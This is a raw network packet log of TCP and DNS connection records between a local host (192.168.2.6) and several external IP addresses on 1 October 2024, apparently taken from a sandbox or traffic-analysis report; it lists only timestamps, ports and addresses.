Oct 1, 2024 12:21:07.688745975 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:07.735069990 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.879473925 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:07.927413940 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:07.983103037 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:08.067801952 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:08.244740963 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:08.244908094 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:08.244985104 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.308759928 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:08.308799982 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:08.308861971 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:08.309235096 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.309243917 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:08.309494972 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.310265064 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.310276031 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:08.310786963 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:08.310792923 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:08.316061020 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.316072941 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:08.316270113 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.316879988 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:08.316890955 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:08.322967052 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.322987080 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:08.323033094 CEST	49735	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.323040009 CEST	443	49735	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:08.424300909 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:08.473746061 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:08.748198986 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.748249054 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:08.748316050 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.749346972 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:08.749361992 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.041394949 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.041446924 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.061054945 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.061074018 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.061655045 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.061667919 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.062710047 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.062768936 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.064325094 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.064387083 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.064666033 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.064672947 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.064846992 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.064912081 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.066104889 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.066282988 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.066436052 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.066451073 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.094624043 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:09.099801064 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:09.099926949 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:09.102899075 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:09.107886076 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:09.114753962 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.114753962 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.166255951 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.166452885 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.166505098 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.175642967 CEST	49738	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.175669909 CEST	443	49738	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.191255093 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.194560051 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.194571972 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.195616961 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.195713043 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.202547073 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.202694893 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.204771996 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.204783916 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.215717077 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.215758085 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.216108084 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.216557980 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.216571093 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.243109941 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243134975 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243144035 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243179083 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243192911 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243197918 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.243206978 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243221998 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243236065 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.243256092 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.243273973 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.243320942 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243357897 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.243364096 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243380070 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.243422031 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.245418072 CEST	49737	443	192.168.2.6	13.107.246.44
Oct 1, 2024 12:21:09.245426893 CEST	443	49737	13.107.246.44	192.168.2.6
Oct 1, 2024 12:21:09.289513111 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.477456093 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.477523088 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.477613926 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.477665901 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.482147932 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.482243061 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.485054016 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.485081911 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.485322952 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.486097097 CEST	49736	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:09.486133099 CEST	443	49736	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:09.486551046 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.527422905 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.707736015 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.707781076 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.707835913 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.708534002 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.708551884 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.728322983 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:09.738408089 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:09.744210958 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:09.760005951 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.760077953 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.760207891 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.805923939 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.805943012 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.805953979 CEST	49739	443	192.168.2.6	184.28.90.27
Oct 1, 2024 12:21:09.805960894 CEST	443	49739	184.28.90.27	192.168.2.6
Oct 1, 2024 12:21:09.850891113 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.895845890 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.901079893 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.901089907 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.902206898 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.902262926 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.903306007 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.903368950 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.904505968 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.904512882 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:09.924676895 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:09.958354950 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:09.970875025 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:09.999970913 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.000047922 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.000093937 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.078999043 CEST	49741	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.079019070 CEST	443	49741	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.381889105 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.427103043 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.655565977 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.655596018 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.656935930 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.657017946 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.658273935 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.658360004 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.708380938 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.708395004 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.720585108 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.763405085 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824600935 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824624062 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824630022 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824661016 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824677944 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824687004 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824701071 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.824723005 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824742079 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.824763060 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:10.824776888 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.824807882 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.976268053 CEST	49743	443	192.168.2.6	13.107.246.60
Oct 1, 2024 12:21:10.976289988 CEST	443	49743	13.107.246.60	192.168.2.6
Oct 1, 2024 12:21:11.065416098 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.065448046 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.065613031 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.119632006 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.119648933 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.210210085 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:11.210243940 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:11.210315943 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:11.211333036 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:11.211348057 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:11.921624899 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.922038078 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.922045946 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.923079967 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.923132896 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.923548937 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.923612118 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:11.923696995 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:11.923703909 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.102907896 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.102965117 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.107328892 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.107342958 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.107634068 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.134903908 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.135030031 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.135037899 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.135341883 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.135407925 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.135461092 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.179402113 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.184842110 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.184885025 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.184921026 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.184930086 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.185460091 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.185508013 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.187998056 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.188020945 CEST	443	49745	152.199.21.175	192.168.2.6
Oct 1, 2024 12:21:12.188030958 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.188060045 CEST	49745	443	192.168.2.6	152.199.21.175
Oct 1, 2024 12:21:12.313427925 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.313646078 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:12.313698053 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.314143896 CEST	49746	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:12.314160109 CEST	443	49746	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:13.992126942 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:13.992166042 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:13.992325068 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:13.993609905 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:13.993623018 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:14.784492016 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:14.784584045 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:14.788292885 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:14.788306952 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:14.788723946 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:14.835702896 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.152714968 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.199409962 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608299971 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608325958 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608336926 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608349085 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608385086 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608387947 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.608417034 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608429909 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608433008 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.608467102 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.608473063 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608484983 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.608513117 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.608519077 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608550072 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.608736038 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.618951082 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.618963003 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:15.618983030 CEST	49751	443	192.168.2.6	20.114.59.183
Oct 1, 2024 12:21:15.618990898 CEST	443	49751	20.114.59.183	192.168.2.6
Oct 1, 2024 12:21:16.226288080 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:16.226802111 CEST	49705	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:16.230981112 CEST	49757	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:16.231040955 CEST	443	49757	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:16.231110096 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:16.231128931 CEST	49757	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:16.231638908 CEST	443	49705	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:16.233458996 CEST	49757	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:16.233470917 CEST	443	49757	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:16.834258080 CEST	443	49757	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:16.834331036 CEST	49757	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:17.070554018 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:17.070617914 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:17.070678949 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:18.571106911 CEST	49733	443	192.168.2.6	216.58.212.132
Oct 1, 2024 12:21:18.571131945 CEST	443	49733	216.58.212.132	192.168.2.6
Oct 1, 2024 12:21:30.764029026 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:30.764075041 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:30.764123917 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:30.765172958 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:30.765183926 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.555425882 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.555505991 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.560543060 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.560550928 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.560789108 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.562479019 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.562614918 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.562621117 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.562747002 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.603441000 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.733803034 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.734333038 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.734410048 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.735014915 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:31.735028982 CEST	443	49760	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:31.735038996 CEST	49760	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:35.984934092 CEST	443	49757	173.222.162.64	192.168.2.6
Oct 1, 2024 12:21:35.984997034 CEST	49757	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:43.842035055 CEST	61042	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:43.846870899 CEST	53	61042	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:43.846937895 CEST	61042	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:43.847049952 CEST	61042	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:43.851968050 CEST	53	61042	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:44.289980888 CEST	53	61042	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:44.293203115 CEST	61042	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:44.298732996 CEST	53	61042	1.1.1.1	192.168.2.6
Oct 1, 2024 12:21:44.298791885 CEST	61042	53	192.168.2.6	1.1.1.1
Oct 1, 2024 12:21:52.083092928 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.083132029 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:52.083194017 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.083580971 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.083596945 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:52.756350040 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:52.756422997 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.758116007 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.758122921 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:52.758783102 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:52.767781019 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:52.811405897 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.016444921 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.016480923 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.016508102 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.016577959 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.016592026 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.016644955 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.017707109 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.017736912 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.017770052 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.017777920 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.017831087 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.018085003 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.018172979 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.023111105 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.023123980 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.023149967 CEST	61045	443	192.168.2.6	52.165.165.26
Oct 1, 2024 12:21:53.023154974 CEST	443	61045	52.165.165.26	192.168.2.6
Oct 1, 2024 12:21:53.428354025 CEST	49730	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:53.433126926 CEST	80	49730	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:54.928391933 CEST	49740	80	192.168.2.6	185.215.165.89
Oct 1, 2024 12:21:54.933229923 CEST	80	49740	185.215.165.89	192.168.2.6
Oct 1, 2024 12:21:58.686047077 CEST	61046	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:58.686084986 CEST	443	61046	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:58.686155081 CEST	61046	443	192.168.2.6	40.115.3.253
